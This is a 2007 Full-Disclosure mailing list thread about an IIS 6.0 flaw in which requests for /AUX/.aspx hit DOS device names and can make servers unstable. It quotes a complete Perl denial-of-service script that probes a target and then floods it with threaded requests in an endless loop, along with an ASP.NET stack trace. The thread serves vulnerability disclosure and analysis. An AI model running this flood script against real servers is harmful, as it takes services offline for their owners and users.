Message-Id: <20070523103223.0AD40A04@lists.grok.org.uk>
Date: Wed, 23 May 2007 12:32:22 +0200
From: "kingcope" <kingcope@....net>
To: "'3APA3A'" <3APA3A@...URITY.NNOV.RU>
Cc: 'Full-Disclosure' <full-disclosure@...ts.grok.org.uk>
Subject: Re: Question Regarding IIS 6.0 / Is this a DoS???

Hello 3APA3A,

Yes saw that before, the weired thing is that the
screenshot shows the page at the
Wwwroot ("/") displaying the error after running
the script.



Best Regards,


Kingcope


-----Original Message-----
From: 3APA3A [mailto:3APA3A@...URITY.NNOV.RU] 
Sent: Wednesday, May 23, 2007 12:21 PM
To: kingcope
Cc: 'Full-Disclosure'
Subject: Re[2]: [Full-disclosure] Question Regarding IIS 6.0 / Is this a
DoS???

Dear kingcope,

With debugging it looks quite harmless:

Server Error in '/' Application.
----------------------------------------------------------------------------
----

Directory '\\.\aux' does not exist. Failed to start monitoring file changes.

Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code. 

Exception Details: System.Web.HttpException: Directory '\\.\aux' does not
exist. Failed to start monitoring file changes.

Source Error: 

An unhandled exception was generated during the execution of the current web
request. Information regarding the origin and location of the exception can
be identified using the exception stack trace below.  

Stack Trace: 


[HttpException (0x80070002): Directory '\\.\aux' does not exist. Failed to
start monitoring file changes.]
   System.Web.FileChangesMonitor.FindDirectoryMonitor(String dir, Boolean
addIfNotFound, Boolean throwOnError) +527
   System.Web.FileChangesMonitor.StartMonitoringPath(String alias,
FileChangeEventHandler callback) +477
   System.Web.Caching.CacheDependency.Init(Boolean isPublic, Boolean
isSensitive, String[] filenamesArg, String[] cachekeysArg, CacheDependency
dependency, DateTime utcStart) +1535
   System.Web.Caching.CacheDependency..ctor(Boolean isSensitive, String[]
filenames, DateTime utcStart) +50
 
System.Web.Configuration.HttpConfigurationSystem.GetCacheDependencies(Hashta
ble cachedeps, DateTime utcStart) +151
   System.Web.Configuration.HttpConfigurationSystem.ComposeConfig(String
reqPath, IHttpMapPath configmap) +760
   System.Web.HttpContext.GetCompleteConfigRecord(String reqpath,
IHttpMapPath configmap) +434
   System.Web.HttpContext.GetCompleteConfig() +49
   System.Web.HttpContext.GetConfig(String name) +195
   System.Web.CustomErrors.GetSettings(HttpContext context, Boolean
canThrow) +20
   System.Web.HttpResponse.ReportRuntimeError(Exception e, Boolean canThrow)
+39
   System.Web.HttpRuntime.FinishRequest(HttpWorkerRequest wr, HttpContext
context, Exception e) +486

 


----------------------------------------------------------------------------
----
Version Information: Microsoft .NET Framework Version:1.1.4322.2032; ASP.NET
Version:1.1.4322.2032 

--Wednesday, May 23, 2007, 1:35:17 PM, you wrote to kingcope@....net:

k> Btw,
k> Here is a screenshot of the effect.


k> -----Original Message-----
k> From: kingcope [mailto:kingcope@....net] 
k> Sent: Wednesday, May 23, 2007 10:55 AM
k> To: '3APA3A'
k> Cc: 'Full-Disclosure'; 'bugtraq@...urityfocus.com'
k> Subject: RE: [Full-disclosure] Question Regarding IIS 6.0 / Is this a
DoS???

k> Hello Russian friend,

k> This is an interesting thought. As you see in the exception
k> And in the exception backtrace of IIS it tries to access \\.\AUX
k> Or other special device names. Normally this is blocked by a
k> C# method which checks the path (for example /AUX.aspx is blocked).


k> Best Regards,

k> Kingcope

k> -----Original Message-----
k> From: 3APA3A [mailto:3APA3A@...URITY.NNOV.RU] 
k> Sent: Wednesday, May 23, 2007 10:41 AM
k> To: kingcope
k> Cc: Full-Disclosure; bugtraq@...urityfocus.com
k> Subject: Re: [Full-disclosure] Question Regarding IIS 6.0 / Is this a
DoS???

k> Dear kingcope,

k> It's  vulnerability regardless of DoS impact, because it allows attacker
k> to access special DOS devices (COM1 in this case). E.g. it could be used
k> to read data from device attached to COM1 or prevent another application
>>>from accessing this port (or LPT), because access to ports is exclusive.

k> --Tuesday, May 22, 2007, 9:10:08 AM, you wrote to
k> full-disclosure@...ts.grok.org.uk:

k>> Hello List,

k>> Recently I saw a small bug in IIS 6.0 when requesting a special path.
k>> When I request /AUX/.aspx the server takes a bit longer to respond as
k>> Normally. So I did write an automated script to see what happens if
k>> I request this file several times at once. The result is that some
k> servers
k>> On the internet get quite instable, some do not. On some servers after I
k>> Stop the attack I get an exception that the Server is too busy/Unhandled
k>> Exception on the wwwroot (/) path.
k>> Can you/the list confirm that?

k>> Here is a lame testing script for this stuff:





k>> #When sending multiple parallel GET requests to a IIS 6.0 server
k> requesting
k>> #/AUX/.aspx the server gets instable and non responsive. This happens
k> only
k>> #to servers which respond a runtime error (System.Web.HttpException)
k>> #and take two or more seconds to respond to the /AUX/.aspx GET request.
k>> #
k>> #
k>> #signed,
k>> #Kingcope kingcope@....net
k>>
k>
##########################################################################
k>>
k>
###***********************************************************************
k>> ###
k>> ###
k>> ###
k>> ### Lame Internet Information Server 6.0 Denial Of Service
(nonpermanent)
k>> ### by Kingcope, May/2007
k>> ### Better run this from a Linux system
k>>
k>
##########################################################################

k>> use IO::Socket;
k>> use threads;

k>> if ($ARGV[0] eq "") { exit; }
k>> my $host = $ARGV[0];

k>> $|=1;

k>> sub sendit {
k>> $sock = IO::Socket::INET->new(PeerAddr => $host,
k>>                               PeerPort => 'http(80)',
k>>                               Proto    => 'tcp');

k>> print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
k>> $host\r\nConnection:close\r\n\r\n";
k>> }

k>> $sock = IO::Socket::INET->new(PeerAddr => $host,
k>>                               PeerPort => 'http(80)',
k>>                               Proto    => 'tcp');

k>> print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
k>> $host\r\nConnection:close\r\n\r\n";

k>> $k=0;
k>> while (<$sock>) {
k>> 	if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
k>> 			$k=1;
k>> 			last;
k>> 	}
k>> }

k>> if ($k==0) {
k>> 	print "Server does not seem vulnerable to this attack.\n";
k>> 	exit;	
k>> }

k>> print "ATTACK!\n";

k>> while(1){

k>> for (my $i=0;$i<=100;$i++) {
k>> 	$thr = threads->new(\&sendit);
k>> 	print "\r\r\r$i/100                        ";
k>> }

k>> foreach $thr (threads->list) {
k>> 	$thr->join;
k>> }
k>> }


k>> _______________________________________________
k>> Full-Disclosure - We believe in it.
k>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
k>> Hosted and sponsored by Secunia - http://secunia.com/




-- 
~/ZARAZA http://securityvulns.com/
Ну а теперь, Уильям, хорошенько поразмыслите над данным письмом. (Твен)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists